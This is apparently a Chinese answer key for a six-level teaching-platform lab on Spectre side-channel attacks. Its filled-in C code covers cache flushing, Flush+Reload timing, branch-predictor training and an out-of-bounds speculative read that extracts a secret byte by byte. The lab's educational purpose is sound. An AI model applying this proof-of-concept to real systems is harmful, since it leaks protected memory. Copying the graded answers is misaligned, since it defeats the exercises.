Spectre侧信道攻击过程验证【头歌教学实践平台】
第1关:Cache vs Memory
// 补全下方代码,完成array[0*4096]至array[9*4096]数据的缓存驱逐
/**************************************************/
for(i=0; i<10; i++)
_mm_clflush(&array[i*4096]);
/**************************************************/
第2关:基于Flush+Reload的侧信道实现
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据上一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
// 驱逐缓存Cache,请在下方补充代码,将array[0*4096+DELTA]至array[255*4096+DELTA]等数据从缓存中强制驱逐
/**************************************/
for (i = 0; i < 256; i++)
_mm_clflush(&array[i*4096+DELTA]);
/**************************************/
//请补全并下方代码,获得i*4096 + DELTA位置元素的访问时延,并将小于门限的访问行为判定为缓存命中,按照指定格式输出结果。
for(i = 0; i < 256; i++){
addr = &array[i*4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD){
printf("访问array[%d4096 + %d]元素时发生缓存命中,时延%d.\n", i, DELTA, (int)time2);
printf("秘密值Secret = %d(字符:'%c')。\n", i, i);
fprintf(fp,"秘密值Secret = %d(字符:'%c')。\n" ,i, i);
}
}
第3关:Spectre预测执行
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
// 请补全下方代码并取消注释,①将victim()函数中分支判断需要的数据'size'从缓存中驱逐,以在后续调用中触发预测执行;②将array数组中i*4096+DELTA处的数据从缓存中驱逐,以便后续reload阶段判断目标数据是否被加载。
// /*******************************************
_mm_clflush(&size);
for (i = 0; i < 256; i++)
_mm_clflush(&array[i*4096+DELTA]);
// ********************************************/
第4关:Spectre攻击简单实验
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
// 补全下方代码,将上界、下界以及array的数据从缓存中驱逐。
/***********************************************************/
//驱逐上界数据
_mm_clflush(&bound_upper);
//驱逐下界数据
_mm_clflush(&bound_lower);
//驱逐array中的数据
for(i=0;i<256;i++){
_mm_clflush(&array[i*4096+DELTA]);
}
/***********************************************************/
这一关可能会出现测评失败的现象,只需要多提交几次自测运行后再提交就可以了
第5关:Spectre攻击实验改进
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
//补全下方代码,当每次字符i被命中一次,对应的积分+1
/*************************************/
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD){
scores[i]++;
}
}
/*************************************/
// 补全下方代码,从scores数组中找到最大值,并将其索引值赋值给max
/*************************************/
for(i=0;i<256;i++){
if(scores[i]>scores[max]){
max=i;
}
}
/*************************************/
第6关:Spectre攻击窃取敏感信息实战
/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)
//补全下方代码,初始化array数组,并将所有相关数据从缓存中驱逐
/*************************************/
int i;
// 初始化数组,避免Copy-on-Write等优化机制对实验结果产生影响
for (i = 0; i < 256; i++){
array[i*4096 + DELTA] = 1;
}
// 驱逐缓存
for (i = 0; i < 256; i++){
_mm_clflush(&array[i*4096 +DELTA]);
}
/*************************************/
//补全下方代码,完成高速缓存侧信道的Reload步骤,根据缓存命中情况,更新score数组
/*************************************/
int i;
volatile uint8_t *addr;
register uint64_t time1, time2;
int junk = 0;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD){
scores[i]++;
}
}
/*************************************/
//补全下方代码,针对指定的内存位置,开展Spectre攻击,包括缓存清空、CPU训练、缓存驱逐、预测执行和缓存加载等环节
/*************************************/
int i;
uint8_t s;
volatile int z;
for (i = 0; i < 256; i++) {
_mm_clflush(&array[i*4096 + DELTA]);
}
// 训练CPU,使其在攻击时进入期望的预测分支.
for (i = 0; i < 10; i++) {
get_info_sand_box(i);
}
// 将上界、下界以及array的数据从缓存中驱逐。
_mm_clflush(&bound_upper);
_mm_clflush(&bound_lower);
for (i = 0; i < 256; i++) {
_mm_clflush(&array[i*4096 + DELTA]);
}
for (z = 0; z < 100; z++) { }
// 调用沙箱访问函数,利用预测执行漏洞访问合法内存边界之外的秘密值
s = get_info_sand_box(index_beyond);
if(s!=0){
array[s*4096 + DELTA] += 88;
}
/*************************************/
//补全下方代码,针对敏感信息secret的每个字节,逐个进行提取,每个字节的提取操作执行1000次,并按照指定格式输出提取结果及其积分值(可以包括最优值与次优值,即score最大的值和第二大的值的索引)。
//打印示例:printf("第%d个秘密字符的最优值 \'%c\' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);
/*************************************/
int i;
uint8_t s;
fp=fopen("/home/result.txt","w");
size_t index_beyond = get_addr_offset();
flushSideChannel();
int len = get_secret_len();
int k = 0;
while(--len>=0){
for(i=0;i<256; i++) {
scores[i]=0;
}
for (i = 0; i < 1000; i++) {
spectreAttack(index_beyond+k);
usleep(10);
reloadSideChannelImproved();
}
int max = 0;
int runner_up = 0;
for (i = 0; i < 256; i++){
// printf("%d ", scores[i]);
if(scores[max] < scores[i]) {
max = i;
}
}
for (i = 0; i < 256; i++){
if(scores[runner_up] < scores[i] && i!=max) {
runner_up = i;
}
}
printf("第%d个秘密字符的最优值 '%c' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);
printf("次优值 '%c' (ASCII: %d) 积分:[%d]\n", (runner_up > 31 && runner_up < 127 ? runner_up : '?'),
runner_up, scores[runner_up] );
fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));
k++;
}
/*************************************/
Spectre侧信道攻击过程验证【头歌教学实践平台】相关推荐
- 头歌-信息安全技术-Spectre侧信道攻击过程验证
头歌-信息安全技术-Spectre侧信道攻击过程验证 一.第1关:Cache vs Memory 1.编程要求 2.评测代码 二.第2关:基于Flush+Reload的侧信道实现 1.编程要求 2.评 ...
- 图应用之最短路径问题(头歌教学实践平台)
第1关:最短路径问题 任务描述 本关任务:编写代码完成 Dijkstra 算法的 Python 实现,解决图的最短路径问题. 相关知识 为了完成本关任务,你需要掌握: 1.什么是最短路径问题: 2.如 ...
- 图的遍历之深度优先(头歌教学实践平台)
第1关:骑士周游问题 任务描述 本关任务:编写代码建立骑士周游图,并解决骑士周游问题. 相关知识 为了完成本关任务,你需要掌握: 1.骑士周游问题的基本概念: 2.如何建立骑士周游图: 3.如何实现骑 ...
- 头歌教学实践平台(高级程序语言设计(c))
目录 一.顺序结构程序(二) 1.输出字符的ASCII码 2.看看你的成绩 3.相反次序重新组合 4.一元二次方程的根 二.选择结构程序设计 1.排序 2.选择结构-闰年判断 3.选择结构-分段函数问 ...
- Intel CPU 易受新型的 SGAxe 和 CrossTalk 侧信道攻击
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 网络安全研究员发现了两种针对当代 Intel 处理器的攻击,可泄露CPU 可新执行环境 (TEE) 中的敏感信息. 第一种攻击名为 & ...
- 【安全硬件】Chap.6 IC和半导体产业的全球化;芯片生产猜疑链与SoC设计流程;可能会存在的安全威胁: 硬件木马、IP盗版、逆向工程、侧信道攻击、伪造
[安全硬件]Chap.6 IC和半导体产业的全球化:芯片生产猜疑链与SoC设计流程:可能会存在的安全威胁: 硬件木马.IP盗版.逆向工程.侧信道攻击.伪造 背景 1. IC和半导体产业的全球化 2. ...
- 简单来看看什么是侧信道攻击
前言 之前在看逻辑层面的安全,其中有个旁路攻击,书里面说这玩意就是防范侧信道攻击. 旁路攻击又被称为旁路信道攻击或侧信道攻击.这种硬件层面的攻击通常以从电子设备获取机密信息为目标.对于密码算法,加密是 ...
- [密码学基础][每个信息安全博士生应该知道的52件事][Bristol52]43 为AES 对抗侧信道攻击的防御
这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 为AES描述一些基础的(可能无 ...
- [密码学基础][每个信息安全博士生应该知道的52件事][Bristol Cryptography][第39篇]侧信道攻击和故障攻击有什么区别
这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 侧信道攻击(Side-chan ...
最新文章
- 刚刚,中国空间站核心舱“天和”出征太空!
- wsl安装配置vscode(亲测有用)
- Codeforces 603A Alternative Thinking
- 提高编程水平的一段必经之路,研读官方文档
- js 计时器无法清除是为什么
- 是单向链表吗_一步一步教你从零开始写C语言链表
- Redis如何高效实现点赞、取消点赞功能
- SLAM_四元数取逆-Quaternion Inverse - 已验证
- 按shift键调出命令行的脚本
- SimpleITK读取DCM文件
- CentOS 7.6安装配置MariaDB异步主从复制
- [HR面试] 65个最常见的面试问题与技巧性答复
- 【Python游戏】Python各大游戏合集(5):塔防游戏、飞机大战、连连看、打地鼠、记忆翻牌 | 附带源码
- 常见遥感卫星基本参数大全
- emmx文件用什么软件打开电脑_我告诉你emmx文件怎么打开
- linux echo命令做运算,linux常用计算命令
- 微软最爽命令行工具将成 Win11 默认终端
- MCU_如何通过硬件VID 查找生产厂家
- 2023进销存软件排行榜
- mes系统 mysql 开发_MES系统集成方式
热门文章
- 系统集成项目管理工程师:第22章职业道德规范学习笔记
- python 安装包 tar.gz 转 whl
- 计算机二级c语言 笔试题 历年,计算机二级C语言笔试历年真题及答案
- USB移动存储外设在设计行业的管控建议
- 加密越来越简单——用JavaScript实现数据加密和解密
- php yaf环境启动,yaf框架教程(3)- yaf框架环境配置
- 绿盟安全扫描前端出现邮箱地址风险的处理方法
- Flutter run:What went wrong: A problem occurred configuring root project ‘android‘ 解决方案
- android 电源/充电/库仑
- 计算机网络通信原理部分